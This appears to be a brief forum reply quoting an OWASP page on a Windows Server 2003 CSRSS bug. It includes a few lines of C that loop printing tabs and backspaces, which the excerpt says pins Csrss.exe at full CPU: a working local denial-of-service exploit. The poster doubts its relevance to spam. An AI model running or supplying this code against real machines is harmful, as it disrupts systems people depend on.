For those lazy enough to search:

https://www.owasp.org/index.php/The_CSRSS_Backspace_Bug_still_works_in_windows_2003_sp1

Excerpt:

Basicaly just compile this and you will get a 100% processor usage by the
compiled exploit and Csrss.exe

#include <stdio.h>
int main(void)
{
while(1)
printf("\t\t\b\b\b\b\b\b");
return 0;
}

How this helps in sending spam is beyond me.
